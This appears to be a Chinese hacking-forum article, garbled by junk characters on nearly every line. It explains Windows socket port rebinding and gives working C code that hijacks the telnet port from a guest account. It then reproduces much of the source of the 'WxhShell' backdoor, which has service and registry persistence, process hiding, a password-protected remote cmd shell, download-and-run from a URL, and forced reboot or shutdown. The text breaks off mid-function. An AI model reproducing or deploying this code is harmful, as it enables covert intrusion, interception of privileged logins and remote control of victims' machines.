在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
_Z Sp$>)/ s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
~%8P0AP %\v8FCb saddr.sin_family = AF_INET;
?0_<u4 &yvvea] saddr.sin_addr.s_addr = htonl(INADDR_ANY);
\4L ur 0eNdKE bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
%W"u4
NT7 uMEM7$o 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
vY-CXWC7 a$"nNm D? 这意味着什么?意味着可以进行如下的攻击:
g5|~i{"0 oGRk/@ 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
=nGFLH6) HbegdbTJ 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
3l~+VBR_ BYB4-, 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
$G-<kC}8: d/bimQ 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
4LKpEl.= :Ln)j%& 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
T@tsM|pI (T_-`N| 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
hO]F\0+ 3uocAmY 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
z.Ic?Wz7 lN#j%0MaUo #include
1EXT^2!D #include
>jX" #include
68XJ`/d #include
c|k_[8L DWORD WINAPI ClientThread(LPVOID lpParam);
Cgx:6TRS int main()
k1<^Ept {
`Pvi+:6\Y WORD wVersionRequested;
|Dn Zk3M, DWORD ret;
ZC N}iQu4 WSADATA wsaData;
[(heE
BOOL val;
1ysfpX{= SOCKADDR_IN saddr;
-Cs( 3[ SOCKADDR_IN scaddr;
AH#mL int err;
%):_ SOCKET s;
$6a9<&LP_ SOCKET sc;
Gr\ ]6 int caddsize;
Y"H`+UV HANDLE mt;
1zPS#K/3 DWORD tid;
@."K"i'Bl wVersionRequested = MAKEWORD( 2, 2 );
w.q`E@ T* err = WSAStartup( wVersionRequested, &wsaData );
=&z+7Pe[ if ( err != 0 ) {
2y
-
QH printf("error!WSAStartup failed!\n");
@G"nkB
return -1;
QN#"c }
bzFac5n)Q saddr.sin_family = AF_INET;
a+E
8s7C/D DK74s //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
lo$G*LWu: -qc'J<*^4 saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
pi?/]}: saddr.sin_port = htons(23);
NPK; if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
ga;nM#/ {
Uj7YTB printf("error!socket failed!\n");
k|/VNV( =0 return -1;
/oT~CB.. }
E7L>5z val = TRUE;
\>6*U r //SO_REUSEADDR选项就是可以实现端口重绑定的
,)1C"' if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
YB"gLv? {
TcaW'&(K printf("error!setsockopt failed!\n");
V
vrsf6l] return -1;
,`bW(V }
},8|9z#pyB //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
_LHbP=B //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
ku5|cF*% //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
vwT1bw . J@2jx4 if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
Zi~. {
ESCN/ocV ret=GetLastError();
[c3!xHt5O printf("error!bind failed!\n");
3Y)&[aj return -1;
3gUY13C}:p }
m^QoB listen(s,2);
_<(xjWp 8 while(1)
2 nyK'k {
G<?RH"RZr caddsize = sizeof(scaddr);
peVY2\1>R //接受连接请求
p& _Z}Wv sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
JTKS5r7? if(sc!=INVALID_SOCKET)
05 6K) E {
5nx*D" mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
epsRv&LfC if(mt==NULL)
KNeVSZT {
h>`[p,o printf("Thread Creat Failed!\n");
H1k)ya x4_ break;
-s0SQe{!_ }
p%$r\G-x }
4mDHAR%D CloseHandle(mt);
MLV]+H[mt }
U2A-ub>7 closesocket(s);
ec!e WSACleanup();
PB^rniYh return 0;
w5i*pOG)Z }
X"TL'"?fo DWORD WINAPI ClientThread(LPVOID lpParam)
z\|<h=EU {
uU)t_W&-J SOCKET ss = (SOCKET)lpParam;
>GIQT?O6 SOCKET sc;
Yb5U^OjyJ unsigned char buf[4096];
NOTG|\{ SOCKADDR_IN saddr;
"q?(rx; long num;
5$U 49j DWORD val;
0aY|: DWORD ret;
:$G^TD/n //如果是隐藏端口应用的话,可以在此处加一些判断
:rr<#F //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
zu}uW,XH- saddr.sin_family = AF_INET;
Vx!ZF+ saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
I%4eX0QY=z saddr.sin_port = htons(23);
dcrvEc_/ if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
=#2%[kG q {
NN7KwVg printf("error!socket failed!\n");
Kh3i.gm7g return -1;
\;-Yz }
aUMiRm- val = 100;
UT@Qo}: if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
tXzuP_0 {
<IZr..|O ret = GetLastError();
t 9(,JC0 return -1;
q,sO<1wAT\ }
D!* SA if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
gkK(7=r% {
EZWWvL ret = GetLastError();
PlCw,=K 8f return -1;
KYTXf+ oh }
Zdrniae
ah if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
e[fld,s {
-d?<t}a printf("error!socket connect failed!\n");
`&=%p| closesocket(sc);
D Z~036 closesocket(ss);
9vi+[3s/=; return -1;
_&HFKpHQ }
vmgd while(1)
F~v0CBcAL {
F4=X(P_6 //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
Ne9VRM
P //如果是嗅探内容的话,可以再此处进行内容分析和记录
%5L~&W}^" //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
l%V+]skS num = recv(ss,buf,4096,0);
."Pn[$'. if(num>0)
iw.F8[}) send(sc,buf,num,0);
"U9e)a0v else if(num==0)
vo#$xwm1 break;
\ $TM=Ykj num = recv(sc,buf,4096,0);
T pCXe\W if(num>0)
rE"FN~9P send(ss,buf,num,0);
<DMm
[V{ else if(num==0)
]Y,V)41gCE break;
1^AQLOiRE1 }
yu#m6K closesocket(ss);
E.C=VfBW closesocket(sc);
1&h\\&ic return 0 ;
nVpDjUpN }
wI7.M
Gt yTc&C)Jba Z2;~{$&M+ ==========================================================
FS7D B|syb!g 下边附上一个代码,,WXhSHELL
#Hy9 ;Q -Nr*na^H9# ==========================================================
h 1'm[Y 6ZjUC1 #include "stdafx.h"
XcbEh 9n5uO[D #include <stdio.h>
?5G;=#I #include <string.h>
4{,!'NA #include <windows.h>
,jnaa (n #include <winsock2.h>
V%*91t _ #include <winsvc.h>
r{*Qsaw #include <urlmon.h>
bz1`f >%l 'Q*.[aJt #pragma comment (lib, "Ws2_32.lib")
KsTE)@F: #pragma comment (lib, "urlmon.lib")
L{ej<0 yr "MPS&OK #define MAX_USER 100 // 最大客户端连接数
WM9({BZ #define BUF_SOCK 200 // sock buffer
OHY|< &* #define KEY_BUFF 255 // 输入 buffer
Ga^:y=m "6~+-_: #define REBOOT 0 // 重启
A{3nz DLI #define SHUTDOWN 1 // 关机
]:#W$9,WL h1Y^+A_ #define DEF_PORT 5000 // 监听端口
tPk>hzW ^S|}<6~6b #define REG_LEN 16 // 注册表键长度
D=f$-rn #define SVC_LEN 80 // NT服务名长度
Y|#<kS Zirp_[KZ% // 从dll定义API
cNKGEm
;z typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
ocS}4.a@ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
RdjoVCf typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
\+
Ese-la typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
|]HA@7B +Lr`-</VF // wxhshell配置信息
Eg4&D4TGp struct WSCFG {
Q*f0YjH! int ws_port; // 监听端口
Rto/-I0l char ws_passstr[REG_LEN]; // 口令
xgsEe3| int ws_autoins; // 安装标记, 1=yes 0=no
/+<G@+( char ws_regname[REG_LEN]; // 注册表键名
6 G,cc char ws_svcname[REG_LEN]; // 服务名
zo
]-,u char ws_svcdisp[SVC_LEN]; // 服务显示名
V\c`O char ws_svcdesc[SVC_LEN]; // 服务描述信息
IUG}Q7w5 char ws_passmsg[SVC_LEN]; // 密码输入提示信息
X2 <fS~m int ws_downexe; // 下载执行标记, 1=yes 0=no
;+3@S`2r char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
/*6[Itm_h char ws_filenam[SVC_LEN]; // 下载后保存的文件名
L8pKVr ihct~y-9W };
?5[$d{ Gjl nGDY::nUE // default Wxhshell configuration
&`g^b^i struct WSCFG wscfg={DEF_PORT,
H-%
B<7 "xuhuanlingzhe",
WxJaE;`Ige 1,
L 'e|D=y "Wxhshell",
Lq#!}QcW= "Wxhshell",
,{'ZP_ "WxhShell Service",
^C2SLLgeJ "Wrsky Windows CmdShell Service",
QqC-ztz "Please Input Your Password: ",
R2Q1Rk# 1,
=QwT)KRB% "
http://www.wrsky.com/wxhshell.exe",
dA#'HMh@ "Wxhshell.exe"
Nc^:v/(P };
}+:X= @Z@ Lu71Qdu09 // 消息定义模块
*y~~~ 'J/ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
e\ZV^h}TQ char *msg_ws_prompt="\n\r? for help\n\r#>";
gP!k[E,Q8 char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
H:q;IYE+a char *msg_ws_ext="\n\rExit.";
U]M5&R=? char *msg_ws_end="\n\rQuit.";
a3[,3 char *msg_ws_boot="\n\rReboot...";
/RF&@NJE5 char *msg_ws_poff="\n\rShutdown...";
yx<-M char *msg_ws_down="\n\rSave to ";
4^^=^c jU{~3Gn? char *msg_ws_err="\n\rErr!";
94lz?-j char *msg_ws_ok="\n\rOK!";
~'Korxa US<l4 char ExeFile[MAX_PATH];
r+a0. int nUser = 0;
@><8YN^)% HANDLE handles[MAX_USER];
7Xh
;dJAF3 int OsIsNt;
i2)$%M& +WCV"m SERVICE_STATUS serviceStatus;
L7yEgYB SERVICE_STATUS_HANDLE hServiceStatusHandle;
=s:Z-*vy! BWkTQd<t // 函数声明
z|<?=c2P int Install(void);
^_=bssaOd int Uninstall(void);
b:x~Jz#%2 int DownloadFile(char *sURL, SOCKET wsh);
8wCB}q C int Boot(int flag);
,}^FV~ void HideProc(void);
Rz<'&Z>; int GetOsVer(void);
"!#KQ''R int Wxhshell(SOCKET wsl);
yi<H }& void TalkWithClient(void *cs);
q^}iXE~ int CmdShell(SOCKET sock);
G,b*Qn5# int StartFromService(void);
g
T0@pxl int StartWxhshell(LPSTR lpCmdLine);
DH])Q5 .aC/ g?U VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
2t3)$\ylQp VOID WINAPI NTServiceHandler( DWORD fdwControl );
AD7&-=p&w 0>3Sn\gZ( // 数据结构和表定义
F ^)(
7}ph SERVICE_TABLE_ENTRY DispatchTable[] =
`cFNO: {
{afIr1j/m {wscfg.ws_svcname, NTServiceMain},
%/r:iD {NULL, NULL}
wYd{X 8$ };
xeRoif\4c SM.KM_%K // 自我安装
L}tP_ * int Install(void)
I9sQPa {
.bNG:y> char svExeFile[MAX_PATH];
=GC,1WVEqV HKEY key;
u"U7aYGkY strcpy(svExeFile,ExeFile);
cE*d(g 'Z6x\p // 如果是win9x系统,修改注册表设为自启动
gAK"ShOhG= if(!OsIsNt) {
]&"01M~+K if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
fy>~GFk( RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
Yo}QW;,g RegCloseKey(key);
kq>I?wg if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
&iaS3x RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
Pu,2a+0N RegCloseKey(key);
3
t+1M return 0;
tf>"fU\P }
55zy]|F" }
? RID4xu! }
Ime"}*9 else {
PebyH"M( n}8}:3" // 如果是NT以上系统,安装为系统服务
$OaxetPH SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
{Lsl2@22 if (schSCManager!=0)
p<\7" SB= {
,HK-mAH SC_HANDLE schService = CreateService
!{b4+!@p (
G^le91$ schSCManager,
G54`{V4&s wscfg.ws_svcname,
|+Tq[5&R wscfg.ws_svcdisp,
?:i,%]zxC SERVICE_ALL_ACCESS,
lPg?Fk7AP SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
~L"?C SERVICE_AUTO_START,
=tc!"{ SERVICE_ERROR_NORMAL,
)<
p
~ svExeFile,
^]?juL NULL,
R|]n;*y NULL,
{vp*m:K NULL,
MAL;XcRR NULL,
`ix&j8E22w NULL
n]jw!; );
"Ve9\$_s if (schService!=0)
$-paYQ4 {
a[E}o<{ CloseServiceHandle(schService);
1/J6<FVq CloseServiceHandle(schSCManager);
j7J'd?l strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
nPUD6<bF strcat(svExeFile,wscfg.ws_svcname);
#cqI0ny?G if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
I
MG^L RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
NJg )S2]7 RegCloseKey(key);
4-oaq'//BT return 0;
x!n8Wx }
]$I}r=
Em }
+.QJZo_ CloseServiceHandle(schSCManager);
_[/#t|I} }
!gJw?(8" }
<4582x,G m%s:4Z%= return 1;
~re~Ys }
f'TEua_` k +Cwnp // 自我卸载
&"^U=f@v int Uninstall(void)
`7R-2
w<b? {
22 feYm| HKEY key;
9A *gW j -L!lJ if(!OsIsNt) {
9^@)R
ED if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
bbT$$b- RegDeleteValue(key,wscfg.ws_regname);
DTHWL RegCloseKey(key);
P=Su)c if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
wYQEm RegDeleteValue(key,wscfg.ws_regname);
R$;TX^r'o& RegCloseKey(key);
)T^xDx return 0;
i:1
@ vo }
zpZfsn! }
\} _,g }
-B?cF9 else {
w8a49 Fv \J;_%-Z SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
MfO:BX@$ if (schSCManager!=0)
z7TyS.z {
iU AY
SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
8#/y`ul if (schService!=0)
I+
Y{_yw"f {
&^l(RBp]0 if(DeleteService(schService)!=0) {
3cF8DNh CloseServiceHandle(schService);
/*MioaQB}p CloseServiceHandle(schSCManager);
]'pL*&"X return 0;
1x%B`d }
UqNUX?( CloseServiceHandle(schService);
8{_lB#<[E }
gU1Pb]] CloseServiceHandle(schSCManager);
l z-I[*bA }
}Eh &' }
8e1Z:axn0 }_5 R9w]" return 1;
hw(\3h() }
B<0Kl.V Sb(OG 6 // 从指定url下载文件
h}kJ,n int DownloadFile(char *sURL, SOCKET wsh)
;%;||?'v {
F~eY'~&H} HRESULT hr;
-+0kay% char seps[]= "/";
$m A2AI char *token;
RGrQ>'RL char *file;
opMnLor char myURL[MAX_PATH];
/aIGq/;Y+a char myFILE[MAX_PATH];
]sJC%/ bkS"]q)> strcpy(myURL,sURL);
\`E^>6!]q token=strtok(myURL,seps);
?'_6M4UKa while(token!=NULL)
gtePo[ZH.P {
B9Hib1<8 file=token;
hCS} token=strtok(NULL,seps);
3#Bb4\_v }
-:E~Z_J` 3R0ioi 7 GetCurrentDirectory(MAX_PATH,myFILE);
$sS~hy* strcat(myFILE, "\\");
w 5?D]u strcat(myFILE, file);
PcqS#!t send(wsh,myFILE,strlen(myFILE),0);
eTuKu(0
E send(wsh,"...",3,0);
[FLR&=.( hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
jFUpf.v2 if(hr==S_OK)
MpBdke$ return 0;
FRQ0t!b<M1 else
K6sXw[VC[ return 1;
w)`XM 57-Hx; }
*l=(?Pe< Eku9u // 系统电源模块
RB|i<`Z int Boot(int flag)
8g
Z)c\ {
@5ud{"|2 HANDLE hToken;
2`TV(U@ TOKEN_PRIVILEGES tkp;
c+
e~BN AV7#,+p%G if(OsIsNt) {
Fk^N7EJ:$ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
*UJ4\ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
}>d tkp.PrivilegeCount = 1;
}}i'8 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
G]4Ca5;Z!N AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
m(*rMO>_ if(flag==REBOOT) {
o]RZd--c< if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
b $JS| return 0;
@Z2np{X: }
D:f=Z?L)> else {
Od)y4nr3~ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
gdA2u;q return 0;
=/`]lY& }
Tjhy@3 }
cR_ pC
9z else {
6 dV )pJd if(flag==REBOOT) {
D>-r ` if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
8-Y*b89 return 0;
L!lmy&1 }
P_w4
DU else {
".N+nM~ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
]%FAJ\ return 0;
{:|3V 7X }
f:ObI }
/s}
"0/Y\ {(!JYz~P return 1;
1l"2 ~k }
kDMvTVd HE%/+mZN // win9x进程隐藏模块
bWAa:
r void HideProc(void)
-1RMyVx {
r9Ogez ER J E7m5kTa HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
?-vWNv if ( hKernel != NULL )
849,1n^ {
:C(/yg pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
)iQ^HZ ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
Dws)
4hH FreeLibrary(hKernel);
O~6%Iz` }
D2kmBZ3 uVCH<6Cp return;
Z|%h-~ }
_X~O6e-! (8)9S6 // 获取操作系统版本
4&sf{tI int GetOsVer(void)
?'z/S5&j {
CV.|~K0O OSVERSIONINFO winfo;
%,_ZVgh0 winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
Xt<1b GetVersionEx(&winfo);
lz~^*\ F if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
%DYh<U4N return 1;
wlJi_)! else
}o*A>le return 0;
)q-NE) }
Syy{ ^Ae} 7I
XWv- // 客户端句柄模块
j2<+[h- int Wxhshell(SOCKET wsl)
~TEn + {
.R)P
|@z L SOCKET wsh;
uC^)#Y\" struct sockaddr_in client;
\&hq$ DWORD myID;
z3K$gEve dAx
? , while(nUser<MAX_USER)
i[IFD]Xy!j {
Lo{wTYt:J int nSize=sizeof(client);
,"(G wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
XGR2L
DR if(wsh==INVALID_SOCKET) return 1;
s@ @Km1w A-T-4I handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
_&hM6N if(handles[nUser]==0)
mi7?t/D1Z closesocket(wsh);
u9OY
Jo else
AX8~w(sv nUser++;
6/mz.,g2 }
-je} PwT WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
L
AasmQ @6>Q&GYqt return 0;
gGL}FNH }
Ne1Oz} W_`]7RO8 // 关闭 socket
/)sP, 2/ void CloseIt(SOCKET wsh)
.EL3}6"A {
.iRKuBM/ closesocket(wsh);
+ig%_QED[\ nUser--;
$qQYxx@ ExitThread(0);
]O"f % }
r6Yd"~ n ly17FLJ]. // 客户端请求句柄
P\7*ql` void TalkWithClient(void *cs)
FT-.gi0 {
`xLsD}32 GHcx@||C? SOCKET wsh=(SOCKET)cs;
5lG\Z? char pwd[SVC_LEN];
7sxX?u char cmd[KEY_BUFF];
'Z4}O_5_ char chr[1];
]u|v7}I4 int i,j;
n9+33^ PT s Z[[ymu8 while (nUser < MAX_USER) {
z}!g2d pD%(Y^h? if(wscfg.ws_passstr) {
O D}RnKL if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
~~OFymQ%?q //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
**hQb$ //ZeroMemory(pwd,KEY_BUFF);
uGMzU&+ i=0;
+M0pmK! while(i<SVC_LEN) {
\Mg_Q$ \N*([{X // 设置超时
~i5YqH0 fd_set FdRead;
6e+'Y"v struct timeval TimeOut;
3Tl<ST\ FD_ZERO(&FdRead);
\9VF)Y.ke FD_SET(wsh,&FdRead);
u[b |QR=5 TimeOut.tv_sec=8;
p@^G)x TimeOut.tv_usec=0;
\sAaVdZJH( int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
'ztOl`I5V if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
{=ox1+d W7qh1}_% if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
oZvG Kf pwd
=chr[0]; 4`5yrCd
if(chr[0]==0xd || chr[0]==0xa) { )R JEOl1
pwd=0; ^9[Q;=R
break; 13X}pnW
} 7y'uZAF
i++; Y~I<L ocv
} D!rPF)K
)
Jbu2y'zE
// 如果是非法用户,关闭 socket bqcCA91
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 1D*=ZkA)
} 1|MRXK
B}iEhWO6
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); h3CA,$HJ
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 8z#Qp(he
F^u12R)
while(1) { 0kkDlWkzo
=8\.fp
ZeroMemory(cmd,KEY_BUFF); ~5N}P>4*
7Z< ~{eD,
// 自动支持客户端 telnet标准 FDz`U:8
j=0; G\@pg;0|y
while(j<KEY_BUFF) { ljKIxSvCFp
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); m-Eh0Zl>Z
cmd[j]=chr[0]; dz_S6o ]
if(chr[0]==0xa || chr[0]==0xd) { K;RH,o1
cmd[j]=0; l[/`kK
break; dkC[SG`
} cV+?j}"*+
j++; MVYd\)\o
} *LEy#N
;V}:0{p
// 下载文件 CxFd/X,
if(strstr(cmd,"http://")) { v-{g
send(wsh,msg_ws_down,strlen(msg_ws_down),0); UT<e/
if(DownloadFile(cmd,wsh)) RxP H[7oZ
send(wsh,msg_ws_err,strlen(msg_ws_err),0); /|0-O''
else BX >L7 n
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )'djqpM.
} %k!CjW3
else { W;vNmg}mn
= s&Rk~2b/
switch(cmd[0]) { nuce(R
X94a
// 帮助 gQn%RPMh
case '?': { N''QQBUD
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); yKc-:IBb{u
break; w'
7sh5
} c7e,lgG-
// 安装 @Vm*b@
case 'i': { Og\k5.! ,
if(Install()) 9bM\ (s/
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 80=0S^gEZ
else j6m;03<|
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);
BQ-x#[%s
break; &`r/+B_W
} 1MN!
// 卸载 C96/
case 'r': { R_!.vGhkN
if(Uninstall()) $YSXE
:
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8z9{H
else #{cy( &cz
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @aIgif+v
break; @5>#<LV=E#
} cLtVj2Wb
// 显示 wxhshell 所在路径 U$OZkHA[
case 'p': { 39X~<\&'
char svExeFile[MAX_PATH]; R;< q<i_l
strcpy(svExeFile,"\n\r"); 2Rk}ovtD[
strcat(svExeFile,ExeFile); s2<!Zb4
send(wsh,svExeFile,strlen(svExeFile),0); Zy}tZ RG
break; l=~!'1@L}
} YF5}~M ymF
// 重启 M>AxVL
case 'b': { 7L!JP:v
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ^ ""edCs
if(Boot(REBOOT)) I|@+O#
send(wsh,msg_ws_err,strlen(msg_ws_err),0); /DQYlNa
else { H"A%mrb
closesocket(wsh); >e;-$$e
ExitThread(0); qRt! kWW
} +?_!8N8
break; >US*7m }
} @62T:Vl
// 关机 '}.Yf_
case 'd': { /R#zu_i
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); fkV@3sj
if(Boot(SHUTDOWN)) gaF6j!p
send(wsh,msg_ws_err,strlen(msg_ws_err),0); o<G 9t6~
else { }9fa]D-a?
closesocket(wsh); jI-a+LnEm
ExitThread(0); ?.~1%l !
} &\h7E
break; 98[uRywI
} Ew8@{X
y
// 获取shell .~]|gg~
case 's': { ]eL# bJ
CmdShell(wsh); fUT[tkb/!
closesocket(wsh); ?UXFz'
ExitThread(0); ":!$Jnj,
break; +,Eam6g{
} ZEqW*piI
// 退出 ]M?i:A$B
case 'x': { yM_/_V|G
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); t>j_C{X1(
CloseIt(wsh); f}:C~L!
break; a'J0}j!
} }`tSRB7
// 离开 ;+Jx,{)
case 'q': { 0Hnj<| HL
send(wsh,msg_ws_end,strlen(msg_ws_end),0); 8D*7{Q
closesocket(wsh); &o:5lxR{
WSACleanup(); [M|^e;tWK
exit(1); =*\s`ox`
break; ;blL\|ch;
} ?@64gdlwq
} =2R4Z8G
} ":]Xr!e
u$nzpw0=H
// 提示信息 6!<I'M'[e
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); "Y&I#&$b\
} w~3X
m{
} h@,ja
sy&[Q{,4
return; =KE7NXu]-
} SuE~Wb5&
"zEl2Xn28_
// shell模块句柄 4Gu'WbJ
int CmdShell(SOCKET sock) &[E\2 E
{ u64#,mC[*
STARTUPINFO si; bC{4a_B
ZeroMemory(&si,sizeof(si)); WtM%(8Y[]
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; iq&3S 0
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ipSMmpB
PROCESS_INFORMATION ProcessInfo; +H-=`+,
char cmdline[]="cmd"; Eb3 ZM#
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); LlTD =tJ0
return 0; EGu%;[
} BA;r%?MRL
(.J/Ql0Y
// 自身启动模式 MO`Y&<g~A
int StartFromService(void) T.bFB+'E|
{ J
En jc/
typedef struct %cF`x_h[j
{ .D*Qu}
DWORD ExitStatus; P\U<,f
DWORD PebBaseAddress; qt8Y3:=8l
